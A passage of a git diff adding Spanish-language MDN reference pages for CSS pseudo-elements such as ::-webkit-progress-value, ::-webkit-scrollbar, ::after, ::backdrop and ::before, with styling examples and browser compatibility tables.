+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>Los pseudo-elementos usados por WebKit/Blink para dar estilos a otras partes de un elemento  {{HTMLElement("progress")}} :
+  <ul>
+   <li>{{cssxref("::-webkit-progress-bar")}}</li>
+   <li>{{cssxref("::-webkit-progress-value")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("::-moz-progress-bar")}}</li>
+ <li>{{cssxref("::-ms-fill")}}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-webkit-progress-value/index.html b/files/es/web/css/_doublecolon_-webkit-progress-value/index.html
new file mode 100644
index 0000000000..4e6d5bd10f
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-webkit-progress-value/index.html
@@ -0,0 +1,111 @@
+---
+title: '::-webkit-progress-value'
+slug: 'Web/CSS/::-webkit-progress-value'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo-elemento
+  - Referencia
+translation_of: 'Web/CSS/::-webkit-progress-value'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento </a><a href="/es/docs/Web/CSS">CSS </a><strong><code>::-webkit-progress-value</code></strong> representa la parte rellena de la barra del elemento {{HTMLElement("progress")}}. Es hija del pseudo-elemento {{cssxref("::-webkit-progress-bar")}}.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> para que  <code>::-webkit-progress-value</code> tenga efecto en el elemento &lt;progress&gt;  {{cssxref("-webkit-appearance")}} deberá tener <em>none </em>como valor.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. Es un elemento propietario y específico de WebKit/Blink.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">progress {
+  -webkit-appearance: none;
+}
+
+::-webkit-progress-value {
+  background-color: orange;
+}</pre>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;progress value="10" max="50"&gt;
+</pre>
+
+<h2 id="Resultado">Resultado</h2>
+
+<p>{{EmbedLiveSample("Ejemplo", 200, 50)}}</p>
+
+<p>Una barra de progreso con el estilo indicado anteriormente será similar a esta:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13490/progress-value.png" style="height: 60px; width: 249px;"></p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>Los pseudo-elemento de WebKit/Blink para dar estilos a otras partes de un elemento {{HTMLElement("progress")}}:
+  <ul>
+   <li>{{ cssxref("::-webkit-progress-bar") }}</li>
+   <li>{{ cssxref("::-webkit-progress-inner-element") }}</li>
+  </ul>
+ </li>
+ <li>{{ cssxref("::-moz-progress-bar") }}</li>
+ <li>{{ cssxref("::-ms-fill") }}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-webkit-scrollbar/index.html b/files/es/web/css/_doublecolon_-webkit-scrollbar/index.html
new file mode 100644
index 0000000000..4e89ab3087
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-webkit-scrollbar/index.html
@@ -0,0 +1,37 @@
+---
+title: '::-webkit-scrollbar'
+slug: 'Web/CSS/::-webkit-scrollbar'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - Pseudo-elemento
+  - Referencia
+translation_of: 'Web/CSS/::-webkit-scrollbar'
+---
+<p>{{Draft()}}{{CSSRef}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento</a> <a href="/es/docs/Web/CSS">CSS</a>  <font face="Consolas, Liberation Mono, Courier, monospace">::-webkit-scrollbar</font> afecta el estilo de la barra de desplazamiento asociada a un elemento.</p>
+
+<div class="note">
+<p><code>::-webkit-scrollbar</code> sólo está disponible en navegadores basados en  <a class="external external-icon" href="https://webkit.org" title="https://webkit.org">WebKit</a><span style="font-size: 85%;"> (p.e., Google Chrome)</span>.</p>
+</div>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: css">.visible-scrollbar, .invisible-scrollbar {
+  display: block;
+  width: 10em;
+  overflow: auto;
+}
+.invisible-scrollbar::-webkit-scrollbar {
+  display: none;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="visible-scrollbar"&gt;Thisisaveeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeerylongword&lt;/div&gt;
+&lt;div class="invisible-scrollbar"&gt;Thisisaveeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeerylongword&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Ejemplo')}}</p>
diff --git a/files/es/web/css/_doublecolon_-webkit-slider-runnable-track/index.html b/files/es/web/css/_doublecolon_-webkit-slider-runnable-track/index.html
new file mode 100644
index 0000000000..753ecad019
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-webkit-slider-runnable-track/index.html
@@ -0,0 +1,40 @@
+---
+title: '::-webkit-slider-runnable-track'
+slug: 'Web/CSS/::-webkit-slider-runnable-track'
+tags:
+  - CSS
+  - NeedsBrowserCompatibility
+  - NeedsCompatTable
+  - NeedsExample
+  - NeedsMobileBrowserCompatibility
+  - No estándar(2)
+  - Pseudo-elemento
+  - Pseudo-elemento CSS
+  - Referencia
+translation_of: 'Web/CSS/::-webkit-slider-runnable-track'
+---
+<div>{{ CSSRef() }}</div>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <a href="/es/CSS/Pseudo-elements" title="en/CSS/Pseudo-elements">pseudo-elemento </a>CSS <strong><code>::-webkit-slider-runnable-track</code></strong> representa el trayecto (la ranura sobre la que se desliza el indicador) de un  {{HTMLElement("input")}} con <code>type="range"</code>.</p>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. Es un pseudo-elemento propietario y específico de WebKit/Blink.</p>
+
+<h2 id="See_also" name="See_also">Ver además</h2>
+
+<ul>
+ <li>{{cssxref("::-webkit-slider-thumb")}}</li>
+ <li>Pseudo-elementos similares usados en otros navegadores:
+  <ul>
+   <li>{{cssxref("::-ms-track")}}</li>
+   <li>{{cssxref("::-moz-range-track")}}</li>
+  </ul>
+ </li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks: Dando estilos con CSS a elementos Input de tipo range para que se muestren correctamente en distintos navegadores.</a></li>
+ <li><a href="http://www.quirksmode.org/blog/archives/2015/11/styling_and_scr.html">QuirksMode: Dando estilos y aplicando scripts a elementos deslizantes</a></li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-webkit-slider-thumb/index.html b/files/es/web/css/_doublecolon_-webkit-slider-thumb/index.html
new file mode 100644
index 0000000000..bd00c701d3
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-webkit-slider-thumb/index.html
@@ -0,0 +1,38 @@
+---
+title: '::-webkit-slider-thumb'
+slug: 'Web/CSS/::-webkit-slider-thumb'
+tags:
+  - CSS
+  - NeedsBrowserCompatibility
+  - NeedsCompatTable
+  - NeedsExample
+  - NeedsMobileBrowserCompatibility
+  - No estándar(2)
+  - Pseudo-elemento
+  - Pseudo-elemento CSS
+  - Referencia
+translation_of: 'Web/CSS/::-webkit-slider-thumb'
+---
+<div>admi{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El  <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento </a> <code>CSS </code><strong><code>::-webkit-slider-thumb</code></strong> representa el selector que el usuario puede mover a lo largo de la ranura de un elemento  {{HTMLElement("input")}} con  <code>type="range"</code> para modificar su valor numérico.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. Es un pseudo-elemento propietario y específico de WebKit/Blink.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref("::-webkit-slider-runnable-track")}}</li>
+ <li>Psuedo-elementos similares en otros navegadores:
+  <ul>
+   <li>{{cssxref("::-moz-range-thumb")}}</li>
+   <li>{{cssxref("::-ms-thumb")}}</li>
+  </ul>
+ </li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks: Dando estilos con CSS a elementos Input de tipo range para que se muestren correctamente en distintos navegadores</a></li>
+ <li><a href="http://www.quirksmode.org/blog/archives/2015/11/styling_and_scr.html">QuirksMode: Dando estilos y aplicando scripts a elementos deslizantes</a></li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_after/index.html b/files/es/web/css/_doublecolon_after/index.html
new file mode 100644
index 0000000000..c5fe24fedb
--- /dev/null
+++ b/files/es/web/css/_doublecolon_after/index.html
@@ -0,0 +1,182 @@
+---
+title: '::after (:after)'
+slug: 'Web/CSS/::after'
+tags:
+  - CSS
+  - Presentación
+  - Pseudo-elemento CSS
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/::after'
+---
+<div>{{CSSRef}}</div>
+
+<div></div>
+
+<div>
+<p><span class="seoSummary">En CSS, <strong><code>::after</code></strong> crea un <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements">pseudo-elemento</a> que es el último hijo del elemento seleccionado. Es comunmente usado para añadir contenido cosmético a un elemento con la propiedad {{CSSxRef("content")}}.</span>Es en linea (inline) de forma predeterminada.</p>
+
+<pre class="brush: css no-line-numbers  language-css"><code class="language-css"><span class="comment token">/* Añdade una flecha después de los enlaces */</span>
+<span class="selector token">a<span class="pseudo-element token">::after</span></span> <span class="punctuation token">{</span>
+  <span class="property token">content</span><span class="punctuation token">:</span> "</code>→<code class="language-css">"<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Los pseudo-elementos generados por  <code>::before</code> y <code>::after</code> son <a href="https://www.w3.org/TR/CSS2/generate.html#before-after-content">contenidos por la caja de formato del elemento</a>, y por lo tanto no aplica a <em><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Replaced_element">elementos reemplazados</a></em> como los elementos {{HTMLElement("img")}}, o {{HTMLElement("br")}}.</p>
+</div>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> CSS3 introdujo la notación <code>::after</code> (con doble dos puntos) para distinguir <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes">pseudo-clases</a> de <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements">pseudo-elementos</a>. Los navegadores también aceptan <code>:after</code>, añadido en CSS2.</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Uso_simple">Uso simple</h3>
+
+<p>Crearemos dos clases: una para párrafos aburridos y otra para párrafos interesantes. Después podremos resaltar cada párrafo añadiendo un pseudo-elemento al final del mismo.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>boring-text<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Here is some plain old boring text.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Here is some normal text that is neither boring nor exciting.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>exciting-text<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Contributing to MDN is easy and fun.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token"><span class="class token">.exciting-text</span><span class="pseudo-element token">::after</span></span> <span class="punctuation token">{</span>
+  <span class="property token">content</span><span class="punctuation token">:</span> <span class="string token">" &lt;- EXCITING!"</span><span class="punctuation token">;</span>
+  <span class="property token">color</span><span class="punctuation token">:</span> green<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.boring-text</span><span class="pseudo-element token">::after</span></span> <span class="punctuation token">{</span>
+  <span class="property token">content</span><span class="punctuation token">:</span> <span class="string token">" &lt;- BORING"</span><span class="punctuation token">;</span>
+  <span class="property token">color</span><span class="punctuation token">:</span> red<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample('Uso_simple', 500, 150)}}</p>
+
+<h3 id="Ejemplo_decorativo">Ejemplo decorativo</h3>
+
+<p>Podemos estilizar el texto o imágenes de la propiedad {{cssxref("content")}} de casi cualquier forma que queramos.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>ribbon<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Look at the orange box after this text. <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token"><span class="class token">.ribbon</span></span> <span class="punctuation token">{</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> <span class="hexcode token">#5BC8F7</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.ribbon</span><span class="pseudo-element token">::after</span></span> <span class="punctuation token">{</span>
+  <span class="property token">content</span><span class="punctuation token">:</span> <span class="string token">"This is a fancy orange box."</span><span class="punctuation token">;</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> <span class="hexcode token">#FFBA10</span><span class="punctuation token">;</span>
+  <span class="property token">border-color</span><span class="punctuation token">:</span> black<span class="punctuation token">;</span>
+  <span class="property token">border-style</span><span class="punctuation token">:</span> dotted<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p>{{EmbedLiveSample('Ejemplo_decorativo', 450, 20)}}</p>
+
+<h3 id="Tooltips">Tooltips</h3>
+
+<p>El siguiente ejemplo muestra el uso del <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento</a> <code>::after</code> en conjunto con la expresión CSS <a href="/es/docs/Web/CSS/attr"><code>attr()</code></a> y el <a href="/es/docs/Web/HTML/Global_attributes#attr-dataset">atributo data personalizado</a> <code>data-descr</code> para crear un <em>tooltip</em> de tipo glosario, completamente en CSS. Mira la vista previa más abajo, o también puedes ver el ejemplo en una <a href="https://developer.mozilla.org/files/4591/css-only_tooltips.html">página separada.</a></p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Here we have some
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span> <span class="attr-name token">tabindex</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>0<span class="punctuation token">"</span></span> <span class="attr-name token">data-descr</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>collection of words and punctuation<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>text<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span> with a few
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span> <span class="attr-name token">tabindex</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>0<span class="punctuation token">"</span></span> <span class="attr-name token">data-descr</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>small popups that appear when hovering<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>tooltips<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span>.
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token">span<span class="attribute token"><span class="punctuation token">[</span><span class="attribute token">data-descr</span><span class="punctuation token">]</span></span></span> <span class="punctuation token">{</span>
+  <span class="property token">position</span><span class="punctuation token">:</span> relative<span class="punctuation token">;</span>
+  <span class="property token">text-decoration</span><span class="punctuation token">:</span> underline<span class="punctuation token">;</span>
+  <span class="property token">color</span><span class="punctuation token">:</span> <span class="hexcode token">#00F</span><span class="punctuation token">;</span>
+  <span class="property token">cursor</span><span class="punctuation token">:</span> help<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">span<span class="attribute token"><span class="punctuation token">[</span><span class="attribute token">data-descr</span><span class="punctuation token">]</span></span><span class="pseudo-class token">:hover</span><span class="pseudo-element token">::after</span>,
+span<span class="attribute token"><span class="punctuation token">[</span><span class="attribute token">data-descr</span><span class="punctuation token">]</span></span><span class="pseudo-class token">:focus</span><span class="pseudo-element token">::after</span></span> <span class="punctuation token">{</span>
+  <span class="property token">content</span><span class="punctuation token">:</span> <span class="function token">attr</span><span class="punctuation token">(</span>data-descr<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="property token">position</span><span class="punctuation token">:</span> absolute<span class="punctuation token">;</span>
+  <span class="property token">left</span><span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">;</span>
+  <span class="property token">top</span><span class="punctuation token">:</span> <span class="number token">24</span><span class="token unit">px</span><span class="punctuation token">;</span>
+  <span class="property token">min-width</span><span class="punctuation token">:</span> <span class="number token">200</span><span class="token unit">px</span><span class="punctuation token">;</span>
+  <span class="property token">border</span><span class="punctuation token">:</span> <span class="number token">1</span><span class="token unit">px</span> <span class="hexcode token">#aaaaaa</span> solid<span class="punctuation token">;</span>
+  <span class="property token">border-radius</span><span class="punctuation token">:</span> <span class="number token">10</span><span class="token unit">px</span><span class="punctuation token">;</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> <span class="hexcode token">#ffffcc</span><span class="punctuation token">;</span>
+  <span class="property token">padding</span><span class="punctuation token">:</span> <span class="number token">12</span><span class="token unit">px</span><span class="punctuation token">;</span>
+  <span class="property token">color</span><span class="punctuation token">:</span> <span class="hexcode token">#000000</span><span class="punctuation token">;</span>
+  <span class="property token">font-size</span><span class="punctuation token">:</span> <span class="number token">14</span><span class="token unit">px</span><span class="punctuation token">;</span>
+  <span class="property token">z-index</span><span class="punctuation token">:</span> <span class="number token">1</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h4 id="Resultado_3">Resultado</h4>
+
+<p>{{EmbedLiveSample('Tooltips', 450, 120)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#selectordef-after', '::after')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Sin cambios significativos desde la especificación previa.</td>
+  </tr>
+  <tr>
+   <td>{{Specname("CSS3 Transitions", "#animatable-properties", "transitions on pseudo-element properties")}}</td>
+   <td>{{Spec2("CSS3 Transitions")}}</td>
+   <td>Permite transiciones en propiedades definidas en los pseudo-elementos.</td>
+  </tr>
+  <tr>
+   <td>{{Specname("CSS3 Animations", "", "animations on pseudo-element properties")}}</td>
+   <td>{{Spec2("CSS3 Animations")}}</td>
+   <td>Permite animaciones en propiedades definidas en los pseudo-elementos.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#gen-content', '::after')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Introduce la sintaxis de doble símbolo <code>:</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html#before-after-content', '::after')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición inicial, usando sintáxis de un solo símbolo <code>:</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.after")}}</p>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{Cssxref("::before")}}</li>
+ <li>{{cssxref("content")}}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_backdrop/index.html b/files/es/web/css/_doublecolon_backdrop/index.html
new file mode 100644
index 0000000000..931a893f81
--- /dev/null
+++ b/files/es/web/css/_doublecolon_backdrop/index.html
@@ -0,0 +1,132 @@
+---
+title: '::backdrop'
+slug: 'Web/CSS/::backdrop'
+tags:
+  - CSS
+  - Layout
+  - NeedsContent
+  - Pantalla completa
+  - Pseudo Elemento CSS
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/::backdrop'
+---
+<div>{{CSSRef}} {{SeeCompatTable}}</div>
+
+<p>Cada uno de los elementos en la pila de la  <a href="https://fullscreen.spec.whatwg.org/#top-layer">capa superior</a> posee un  <dfn><code>::backdrop</code></dfn> {{Cssxref("pseudo-elements", "pseudo-element")}}. Este pseudo-elemento es una caja que se muestra inmediatamente debajo del elemento (y sobre el elemento inmediatamente inferior de la pila, si es que hay), dentro de dicha capa superior.</p>
+
+<p class="note">El pseudo-elemento <code>::backdrop</code> se puede usar para crear un fondo que oculte el documento subyacente detrás de la pila de la capa superior, p.ej., para el elemento que es mostrado a pantalla complete tal  y como se describe en esta especificación.</p>
+
+<p>No se hereda ni es heredado de ningún elemento. Tampoco se hacen restricciones sobre qué propiedades se aplican a este pseudo-elemento.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fullscreen', '#::backdrop-pseudo-element', '::backdrop')}}</td>
+   <td>{{Spec2('Fullscreen')}}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>32.0 {{property_prefix("webkit")}}<br>
+    37.0</td>
+   <td>{{CompatGeckoDesktop("47")}} <sup>[1]</sup></td>
+   <td>11 {{property_prefix("ms")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>en la etiqueta <code>&lt;dialog&gt;</code></td>
+   <td>32.0 {{property_prefix("webkit")}}<br>
+    37.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>a pantalla completa</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("47")}} <sup>[1]</sup></td>
+   <td>11 {{property_prefix("ms")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("47")}} <sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>en la etiqueta <code>&lt;dialog&gt;</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>a pantalla completa</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("47")}} <sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Ver {{bug(1064843)}}</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref(":fullscreen")}}</li>
+ <li>{{HTMLElement("dialog")}}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_before/index.html b/files/es/web/css/_doublecolon_before/index.html
new file mode 100644
index 0000000000..3f75cb9266
--- /dev/null
+++ b/files/es/web/css/_doublecolon_before/index.html
@@ -0,0 +1,231 @@
+---
+title: '::before (:before)'
+slug: 'Web/CSS/::before'
+tags:
+  - CSS
+  - Presentación
+  - Pseudo-elemento CSS
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/::before'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">En CSS, <code>::before</code> crea un <a href="/es/docs/Web/CSS/Pseudo-elements">pseudoelemento</a> que es el primer hijo del elemento seleccionado. Es usado normalmente para añadir contenido estético a un elemento, usando la propiedad {{cssxref("content")}}. Este elemento se muestra en línea con el texto de forma predeterminada.</span></p>
+
+<pre class="brush: css  language-css notranslate"><code class="language-css"><span class="comment token">/* Añade un corazón antes de los enlaces */</span>
+<span class="selector token">a<span class="pseudo-element token">::before</span></span> <span class="punctuation token">{</span>
+  <span class="property token">content</span><span class="punctuation token">:</span> "</code>♥<code class="language-css">"<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Los pseudoelementos generados por <code>::before</code> y <code>::after</code> son <a href="https://www.w3.org/TR/CSS2/generate.html#before-after-content">contenidos por la caja de formato del elemento</a>, y por lo tanto, no aplica a <em><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Replaced_element">elementos de reemplazo</a></em> como los elementos {{htmlelement("img")}}, o {{htmlelement("br")}}.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> CSS3 introdujo la notación <code>::before</code> (con doble dos puntos) para diferenciar <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes">pseudo-clases</a> con <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements">pseudo-elementos</a>. Los navegadores aceptan <code>:before</code>, añadido en CSS2.</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
